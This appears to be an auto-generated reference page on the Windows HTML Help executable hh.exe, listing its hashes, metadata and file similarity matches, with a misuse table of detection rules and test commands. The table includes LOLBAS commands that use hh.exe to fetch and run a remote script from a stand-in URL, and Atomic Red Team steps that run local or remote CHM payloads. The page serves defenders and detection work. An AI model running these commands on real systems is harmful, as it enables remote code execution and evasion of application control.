hh.exe

  • File Path: C:\windows\hh.exe
  • Description: Microsoft HTML Help Executable

Screenshot

hh.exe

Hashes

Type Hash
MD5 B934411DFE7DEACFA95A1255A48133C9
SHA1 ACF68C210CA36F6961AC6F8B92C6EF95FF1CBDF4
SHA256 D0CA9A2D7968065FFC93D10B6848FE05DF5DFA59D4F0A4B3083A95F46E9CB5F2
SHA384 95A0D2CB66AA706FC937A648AD6745B73C6DC46AE80B2DC1DC3093B746A153A2F3AD73F1108DEE111AC8B82D5B8C08D1
SHA512 2757855DEFBC9788337B5F55E122245A5603D4C57BDD0E2E98CE2F05B8DEBA8EF3E75BB3DCC1DA32C9FEB75B6F67C78E20DF609D580ED821BAE7940E90297C13
SSDEEP 192:Z2OLEHwPeVY0CMDU/pAmdZGqn3g6o37pJ+pKm5GJ1KDJD/gWcJ:AOLEHVY0CMQGR6o37AI1KDmWcJ

Signature

  • Status: The file C:\windows\hh.exe is not digitally signed. You cannot run this script on the current system. For more information about running scripts and setting execution policy, see about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170
  • Serial: ``
  • Thumbprint: ``
  • Issuer:
  • Subject:

File Metadata

  • Original Filename: HH.exe.mui
  • Product Name: HTML Help
  • Company Name: Microsoft Corporation
  • File Version: 6.3.9600.16384 (winblue_rtm.130821-1623)
  • Product Version: 6.3.9600.16384
  • Language: English (United States)
  • Legal Copyright: Microsoft Corporation. All rights reserved.

File Similarity (ssdeep match)

File Score
C:\Windows\hh.exe 36
C:\WINDOWS\hh.exe 35
C:\Windows\hh.exe 41
C:\Windows\hh.exe 43
C:\WINDOWS\hh.exe 38
C:\WINDOWS\SysWOW64\hh.exe 33
C:\Windows\SysWOW64\hh.exe 32
C:\WINDOWS\SysWOW64\hh.exe 35
C:\Windows\SysWOW64\hh.exe 32
C:\Windows\SysWOW64\hh.exe 35
C:\windows\SysWOW64\hh.exe 44

Possible Misuse

The following table contains possible examples of hh.exe being misused. While hh.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source Source File Example License
sigma godmode_sigma_rule.yml - '\hh.exe' DRL 1.0
sigma sysmon_suspicious_remote_thread.yml - '\hh.exe' DRL 1.0
sigma proc_creation_win_hh_chm.yml title: HH.exe Execution DRL 1.0
sigma proc_creation_win_hh_chm.yml description: Identifies usage of hh.exe executing recently modified .chm files. DRL 1.0
sigma proc_creation_win_hh_chm.yml Image\|endswith: '\hh.exe' DRL 1.0
sigma proc_creation_win_html_help_spawn.yml ParentImage: 'C:\Windows\hh.exe' DRL 1.0
sigma proc_creation_win_office_shell.yml - '\hh.exe' DRL 1.0
sigma proc_creation_win_outlook_shell.yml - '\hh.exe' DRL 1.0
sigma proc_creation_win_susp_shell_spawn_by_java.yml - '\hh.exe' DRL 1.0
sigma proc_creation_win_susp_shell_spawn_by_java_keytool.yml - '\hh.exe' DRL 1.0
sigma proc_creation_win_susp_system_user_anomaly.yml - '\hh.exe' DRL 1.0
LOLBAS Hh.yml Name: Hh.exe  
LOLBAS Hh.yml - Command: HH.exe http://some.url/script.ps1  
LOLBAS Hh.yml - Command: HH.exe c:\windows\system32\calc.exe  
LOLBAS Hh.yml Usecase: Execute process with HH.exe  
LOLBAS Hh.yml - Path: C:\Windows\System32\hh.exe  
LOLBAS Hh.yml - Path: C:\Windows\SysWOW64\hh.exe  
atomic-red-team T1218.001.md <blockquote>Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program) MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md A custom CHM file containing embedded payloads could be delivered to a victim then triggered by User Execution. CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)</blockquote> MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md Uses hh.exe to execute a local compiled HTML Help payload. MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md hh.exe #{local_chm_file} MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md Uses hh.exe to execute a remote compiled HTML Help payload. MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md hh.exe #{remote_chm_file} MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md | hh_file_path | path of modified HH.exe | Path | $env:windir\hh.exe| MIT License. © 2018 Red Canary

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